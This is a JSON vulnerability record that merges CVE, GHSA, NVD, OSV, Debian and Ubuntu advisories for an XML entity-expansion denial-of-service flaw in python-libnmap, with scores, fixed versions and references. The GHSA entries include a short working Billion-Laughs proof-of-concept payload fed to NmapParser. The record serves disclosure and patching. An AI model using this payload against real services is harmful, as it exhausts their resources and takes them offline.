{"id":"CVE-2019-1010017","aliases":["DEBIAN-CVE-2019-1010017","EUVD-2019-0117","GHSA-9ccv-p7fg-m73x","PYSEC-2019-218","UBUNTU-CVE-2019-1010017"],"status":"published","title":"XML Injection in python-libnmap","description":"libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.","severity":{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-09","score":0.01524,"percentile":0.74837,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-91"],"published":"2019-07-15T02:25:52Z","modified":"2026-10-20T10:50:35Z","fixes":[{"ecosystem":"PyPI","package":"python-libnmap","fixed_in":["0.7.2","0.6.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"python-libnmap","fixed_in":["0.7.2-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-libnmap","fixed_in":["0.7.2-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-libnmap","fixed_in":["0.7.2-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.2"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.2-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.2-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.2-1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.2"}]}],"versions":["0.2.3","0.2.4","0.2.7","0.2.8","0.4.0","0.4.6","0.5.0","0.5.1","0.6","0.6.1","0.6.2","0.6.3","0.7.0"]},{"source":"osv","ecosystem":"PyPI","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.3"}]}],"versions":["0.2.3","0.2.4","0.2.7","0.2.8","0.4.0","0.4.6","0.5.0","0.5.1","0.6","0.6.1","0.6.2"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.0-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.2-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.2-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.3-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.3-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-libnmap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.3-1"]}],"products":[{"vendor":"libnmap","product":"libnmap"}],"references":[{"url":"https://github.com/savon-noir/python-libnmap/issues/87","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-1010017","tags":["advisory"]},{"url":"https://github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/python-libnmap/PYSEC-2019-218.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9ccv-p7fg-m73x","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2019-1010017","tags":["advisory"]},{"url":"https://github.com/savon-noir/python-libnmap","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2019-1010017","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2019-1010017","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2019-1010017","description":"libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.","status":"published","published":"2019-07-15T02:25:52Z","modified":"2024-08-05T03:07:18.214Z","updated_at":"2026-11-02T14:20:24.989116Z"}],"euvd":[{"id":"EUVD-2019-0117","description":"libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.","status":"published","published":"2019-07-15T02:25:52Z","modified":"2024-08-05T03:07:18Z","updated_at":"2026-11-03T02:40:19.294113Z"}],"ghsa":[{"id":"GHSA-9ccv-p7fg-m73x","title":"XML Injection in python-libnmap","description":"### Description\n\npython-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.\n\n### PoC\n\n```python\nty = NmapParser()\n\npayload = \"\"\"\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"lol\"\u003e\n \u003c!ELEMENT lolz (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n]\u003e\n\u003clolz\u003e\u003chello\u003e\u0026lol3;\u003c/hello\u003e\u003c/lolz\u003e\n\"\"\"\n\nty.parse(payload)\n```","status":"published","published":"2019-07-18T15:38:41Z","modified":"2024-10-15T16:43:39Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-91"],"updated_at":"2026-11-02T14:38:10.696798Z"}],"nvd":[{"id":"CVE-2019-1010017","description":"libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.","status":"published","published":"2019-07-15T03:15:10.49Z","modified":"2026-06-17T02:09:43.717Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-91"],"updated_at":"2026-11-02T14:05:19.195714Z"}],"osv":[{"id":"CVE-2019-1010017","description":"libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.","status":"published","published":"2019-07-15T03:15:10.49Z","modified":"2026-10-20T10:50:35.354866052Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:10.051046Z"},{"id":"DEBIAN-CVE-2019-1010017","description":"libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.","status":"published","published":"2019-07-15T03:15:10.49Z","modified":"2026-09-21T07:00:49.817374616Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:31.170944Z"},{"id":"GHSA-9ccv-p7fg-m73x","title":"XML Injection in python-libnmap","description":"### Description\n\npython-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.\n\n### PoC\n\n```python\nty = NmapParser()\n\npayload = \"\"\"\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"lol\"\u003e\n \u003c!ELEMENT lolz (#PCDATA)\u003e\n \u003c!ENTITY lol1 \"\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\u0026lol;\"\u003e\n \u003c!ENTITY lol2 \"\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\u0026lol1;\"\u003e\n \u003c!ENTITY lol3 \"\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\u0026lol2;\"\u003e\n]\u003e\n\u003clolz\u003e\u003chello\u003e\u0026lol3;\u003c/hello\u003e\u003c/lolz\u003e\n\"\"\"\n\nty.parse(payload)\n```","status":"published","published":"2019-07-18T15:38:41Z","modified":"2024-10-15T16:47:04.210544Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-91"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"UBUNTU-CVE-2019-1010017","description":"libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.","status":"published","published":"2019-07-15T03:15:00Z","modified":"2026-10-17T12:55:29.946953851Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:54:18.772093Z"},{"id":"PYSEC-2019-218","description":"libnmap \u003c v0.6.3 is affected by: XML Injection. The impact is: Denial of service (DoS) by consuming resources. The component is: XML Parsing. The attack vector is: Specially crafted XML payload.","status":"published","published":"2019-07-15T03:15:00Z","modified":"2023-11-08T04:00:40.541888Z","updated_at":"2026-11-02T15:52:52.192131Z"}]}}